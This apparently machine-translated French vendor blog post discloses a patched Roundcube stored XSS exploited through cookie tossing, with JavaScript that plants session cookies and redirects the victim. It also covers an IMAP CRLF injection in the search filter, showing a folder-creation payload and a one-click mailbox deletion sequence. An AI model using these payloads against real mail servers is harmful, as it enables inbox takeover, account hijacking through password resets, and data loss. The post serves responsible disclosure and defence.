Roundcube est le client de messagerie Web open source le plus utilisé au monde. Nous avons récemment découvert une vulnérabilité dangereuse dans cette application ! Il s'agit d'une faille XSS de type « stored » qui, combinée à une technique de « cookie tossing », permet à un pirate d'accéder librement à la boîte de réception de la victime et, par là même, à tout compte utilisant cette adresse e-mail pour l'authentification ou la récupération de mot de passe.
Nous l'avons découvert en effectuant notre pentest IA sur une instance locale de Roundcube. Toutes les vulnérabilités ont été signalées de manière responsable à Nextcloud, les responsables de Roundcube, via HackerOne (vulnérabilité XSS signalée sous le numéro #3594137) et corrigées dans la version 1.6.14.
Dans cet article, nous allons vous expliquer ce que nous avons fait, comment nos agents ont découvert cette faille de sécurité et comment une simple injection HTML a suffi à compromettre entièrement la boîte de réception d'un utilisateur.
Le point d'injection
Chaque attaque a un point de départ. Examinons celle qu’un de nos agents a repérée lors d’un audit.
Roundcube gère le contenu contrôlé par l'utilisateur de plusieurs manières. Le corps des e-mails est la partie la plus surveillée. Il fait l'objet d'un filtrage rigoureux, car il s'affiche directement dans l'interface de l'application.
Les pièces jointes HTML sont traitées via un point de terminaison distinct dans mail/get.php, avec une politique de sécurité du contenu (Content Security Policy) définie sur script-src 'none' afin d'empêcher l'exécution de JavaScript.
Un troisième point de terminaison, plus discret, gère les pièces jointes intégrées qui n'ont pas encore été envoyées et qui sont temporairement visibles lors de la rédaction d'un e-mail. C'est ce point de terminaison que nous allons examiner. L'action « display-attachment » traite ce type de requêtes :
class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
...
public function run($args = []) {
self::init();
$rcmail = rcmail::get_instance();
$file = $rcmail->get_uploaded_file(self::$file_id);
self::display_uploaded_file($file);
La fonction self::display_uploaded_file() c'est là que la magie opère. Comme rcube_uploads.php Comme le montrent ces exemples, ce type de pièces jointes est renvoyé tel quel, avec son type de contenu et son corps d'origine, sans aucun filtrage, sans mise en bac à sable et sans application de la politique de sécurité du contenu.
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
} elseif (!empty($file['path'])) {
readfile($file['path']);
}
« Comment parvenir à ce résultat ? », vous demandez-vous peut-être. Lorsque vous rédigez un nouvel e-mail dans Roundcube, vous pouvez joindre un fichier à cet e-mail temporaire, plus précisément un fichier HTML. Nous allons y insérer du contenu malveillant :
<script>alert(origin)</script>
Une fois le fichier téléchargé, cliquer sur la pièce jointe ouvre une fenêtre contextuelle qui l'affiche à l'aide de l'action « get », protégée par une politique CSP stricte. C'est la procédure sûre. Ce qui est intéressant, c'est ce qui se passe lorsque vous swap _action=get contre _action=afficher-la-pièce-jointe:

Prenez l'URL d'origine de cette page :
/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1Échange _action=get contre _action=afficher-la-pièce-jointe et en supprimant certains paramètres superflus, on obtient :
/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachmentCette URL affiche le même contenu, mais sans le CSP! Ainsi, le code JavaScript intégré à notre code HTML s'exécute, signalant l'origine actuelle et confirmant la présence d'une faille XSS :

C'est une faille XSS auto-exploitable intéressante, mais s'agit-il vraiment d'un problème ? Soyons réalistes : un utilisateur lambda ne va pas télécharger lui-même notre charge utile XSS et continuer à la consulter de cette manière particulière…
En regardant attachment_upload.php, vous verrez qu'un composer_data_ La clé de session doit être définie pour votre utilisateur actuel, et seul cet utilisateur peut récupérer la pièce jointe.
public static function init()
{
self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
self::$COMPOSE = null;
self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;
if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
}
if (!self::$COMPOSE) {
exit('Invalid session var!');Comme il s'agit d'une pièce jointe temporaire liée uniquement à votre session actuelle, il n'est pas possible de préparer une charge utile et de faire en sorte que la victime la déclenche en se connectant au compte de l'attaquant, comme nous l'avons vu avec Mailcow. L'ensemble du roundcube_sessid Il faudrait copier ce cookie sur l'ordinateur de la victime. Une autre tâche qui semble impossible.
Exploitation d'un Self-XSS avec le « cookie tossing »
À première vue, la faille Self-XSS que nous avons découverte semble impossible à exploiter. La pièce jointe étant liée à la session, il est impossible de préparer une charge utile pour une victime sans lui transmettre également le cookie de session de l'attaquant. Mais le problème n'est en réalité pas encore résolu. C'est là qu'intervient le « cookie tossing ».
Dans les navigateurs, les cookies présentent certaines particularités intéressantes, dont l'une est la Domaine=attribut.
> Seul le domaine actuel peut être défini comme valeur, ou un domaine de niveau supérieur, sauf s'il s'agit d'un suffixe public. La définition du domaine rendra le cookie accessible à celui-ci, ainsi qu'à tous ses sous-domaines.
Les cookies peuvent être enregistrés non seulement pour le domaine actuel, mais aussi pour un domaine parent. Un cookie enregistré par sub.example.com avec Domaine=exemple.com devient accessible à tous les sous-domaines sous exemple.com, notamment des titres tels que autre.exemple.com qui n'avait rien à voir avec sa configuration. Ce type d'attaque s'appelle Lancer de biscuits, où un sous-domaine enregistre des cookies qu'un autre sous-domaine va lire.
Cela signifie que tout ce dont nous avons besoin pour exploiter notre vulnérabilité, c'est contrôle d'un sous-domaine sur le même domaine que le domaine Roundcube cible. À partir de là, une autre faille XSS sur un élément tel que xss.target.local permet de définir le document.cookie propriété permettant d'écrire des cookies avec le Domaine=target.local attribut. Une fois ces cookies installés, le navigateur de la victime les transmettra à mail.target.local, où Roundcube chargera la session de l'attaquant à la place de celle de la victime.
Cette session contient déjà la pièce jointe HTML malveillante. Le simple fait de diriger la victime vers l'URL de la pièce jointe déclenche l'exécution de la charge utile XSS au sein de l'instance de Roundcube, directement dans le navigateur de la victime, sans qu'aucune autre interaction ne soit nécessaire.
En résumé, voici ce qu'un pirate doit faire pour exploiter cette faille :
- Se connecter à son propre compte, créer un nouvel e-mail et y joindre un fichier HTML malveillant
- Copiez le lien pour afficher (rendre) la pièce jointe et les cookies
- À partir d'un sous-domaine vulnérable aux attaques XSS, définissez les valeurs des cookies à l'aide de
document.cookieavec leDomaine=attribut pointant vers le domaine cible. - Redirigez la victime vers le lien de la pièce jointe. La vulnérabilité XSS se déclenche au niveau de Roundcube.
Voici à quoi ressemble concrètement la charge utile XSS du sous-domaine : elle définit les cookies de session et redirige la victime vers l'URL de la pièce jointe
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';Une fois l'attaque XSS sur le sous-domaine lancée, le reste de l'exploitation de Roundcube ne nécessite aucune autre intervention de l'utilisateur. La sécurité de Roundcube repose désormais entièrement sur chaque sous-domaine du même site.

Accès complet
La fenêtre contextuelle d'alerte visible sur la capture d'écran ci-dessus confirme qu'une attaque XSS est en cours sur le serveur d'origine de Roundcube, mais elle ne montre pas en soi de conséquences réelles. Il reste un problème. À ce stade, nous avons chargé la session de l'attaquant dans le navigateur de la victime ; par conséquent, toute action effectuée sera attribuée au compte de l'attaquant plutôt qu'à celui de la victime. C'est parfait pour déployer notre charge utile, mais moins idéal pour accéder à des éléments auxquels nous n'aurions normalement pas accès.
Si vous regardez dans le navigateur, les cookies ne sont en fait pas remplacé lorsque nous définissons une autre Domaine=. Les deux ont été envoyés !
Cookie : roundcube_sessauth=VICTIM ; roundcube_sessauth=ATTACKER
Lorsque les deux cookies sont présents, le serveur choisit celui de l'attaquant, car c'est lui qui apparaît en dernier dans l'en-tête. Dans la charge utile XSS, nous voulons que ce soit le cookie de l'attaquant qui soit sélectionné, tandis que sur tous les autres points de terminaison par la suite, nous voulons que ce soit celui de la victime. Heureusement, les cookies possèdent un autre attribut qui résout parfaitement ce problème : Chemin=.
En définissant un chemin unique tel que Chemin=/index.php/xss, qui redirige toujours vers la page d'accueil, les cookies seront être envoyé uniquement lorsque ce chemin correspond à la cible de la requête. Ainsi, pour nos requêtes :
/index.php/xssenvoieroundcube_sessauth=VICTIME ; roundcube_sessauth=ATTAQUANT-> la charge utile de l'attaquant est renvoyée- / envoie
roundcube_sessauth=VICTIM-> les e-mails de la victime sont renvoyés
Il suffit de modifier l'exploit JavaScript pour définir ce nouvel attribut, puis d'accéder à /index.php/xss ensuite, pour s'assurer que les cookies de l'attaquant soient bien transmis dans cette requête pour notre charge utile, mais une fois cela fait, notre XSS peut accéder librement au compte de la victime.
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';Dans les DevTools, on peut voir comment les cookies dupliqués sont désormais configurés :

Même si les conditions nécessaires pour exploiter cette faille (compte sur Roundcube + sous-domaine XSS) sont un peu complexes, l'impact potentiel d'une exploitation réussie est considérable.
L'adresse e-mail est le moyen d'authentification le plus répandu, car de nombreux sites web utilisent des « liens magiques » pour la connexion ou la récupération de mot de passe. Lorsqu'un pirate informatique a accès à vos e-mails, il peut déclencher ce type de réinitialisation de mot de passe sur tous les sites web auxquels cette adresse e-mail est associée. Il peut ensuite lire l'e-mail de confirmation envoyé par le service concerné et ainsi accéder à de nombreux autres comptes.
Correction
Mettez Roundcube à jour vers la version 1.6.14 ou une version ultérieure (1.6.x), ou vers la version 1.5.14 ou une version ultérieure (1.5.x LTS). Toutes les vulnérabilités signalées ont été corrigées dans cette version. Si vous utilisez Aikido, les instances Roundcube vulnérables sont automatiquement signalées dans votre flux de surveillance de surface comme présentant un risque moyen.

Vous n'êtes pas Aikido inscrit sur Aikido ? Créez un compte gratuit pour commencer, aucune carte bancaire n'est requise.
Conclusion
Même si cela semblait au premier abord être une simple faille XSS, son exploitation nécessitait une connaissance un peu plus approfondie des cookies et des sessions. Les sous-domaines d'un même site bénéficient souvent d'autorisations légèrement plus étendues que les sites web totalement distincts de la part du navigateur, ce qui constitue une raison supplémentaire de veiller à la sécurité de toutes vos ressources.
C'est une tâche difficile, mais comme on le voit ici, Aikido est capable d'effectuer de manière autonome des tests d'intrusion sur les applications web afin de détecter ce type de vulnérabilités dans l'ensemble de votre infrastructure.
Les responsables de Roundcube a corrigé cette faille de sécurité dans la version 1.6.14 en ajoutant un script-src 'none' La politique de sécurité du contenu, tout comme c'était déjà le cas pour les autres pièces jointes. Cela empêche l'exécution de code JavaScript lors du renvoi de code HTML arbitraire.
Bonus : injection CRLF via IMAP et CSRF
Au cours de ce même test d'intrusion, un autre agent a découvert une deuxième vulnérabilité qui nous a particulièrement intéressés. Après l'avoir signalée, il s'est avéré qu'il s'agissait d'un doublon que l'équipe de recherche en sécurité de Martila avait également identifié. Nous avons néanmoins jugé qu'elle méritait d'être mentionnée ici, et nous allons donc en présenter brièvement les détails.
Le /?_task=mail&_action=search le point de terminaison transmet les données fournies par le client _filtre paramètre directement dans IMAP RECHERCHER commande dans rcube_imap_generic.php:
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria;
} else {
$params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);Bien que la fonction semble séparer la commande de ses arguments, la mise en œuvre de exécuter() se contente de les concaténer sans les nettoyer :
foreach ($arguments as $arg) {
$query .= ' ' . self::r_implode($arg);
}
En insérant un retour chariot et un saut de ligne (CRLF, %0D%0A) un attaquant peut contourner les paramètres SEARCH et injecter des commandes IMAP supplémentaires dans la session IMAP de l'utilisateur authentifié.
Cela vous permet non seulement de rechercher des e-mails, mais aussi d'ajouter des dossiers, de déplacer des e-mails ou de vider entièrement la boîte de réception, car il s'agit là de commandes IMAP brutes.
Voici un exemple de filtre configuré pour ALL%0D%0AX007%20CREATE%20EvilFolder:
Lorsque l'on accède à cette page, les données suivantes sont envoyées à IMAP, avec la commande CREATE injectée qui s'exécute après la recherche :
X006 RECHERCHER TOUT
X007 CRÉER EvilFolderLe résultat est alors visible dans l'interface utilisateur de Roundcube :

Comme il s'agit d'une simple requête GET, il suffit de cliquer sur le lien ci-dessus pour exécuter les commandes. Ainsi, un simple clic sur ce lien pourrait supprimer définitivement tous les e-mails (X001 UID MAGASIN 1 :* INDICATEURS \Supprimé suivi de X002 SUPPRIMER), ce qui a entraîné une importante perte de données.
Cette vulnérabilité est désormais corrigé en supprimant \r\n les caractères des requêtes de recherche.

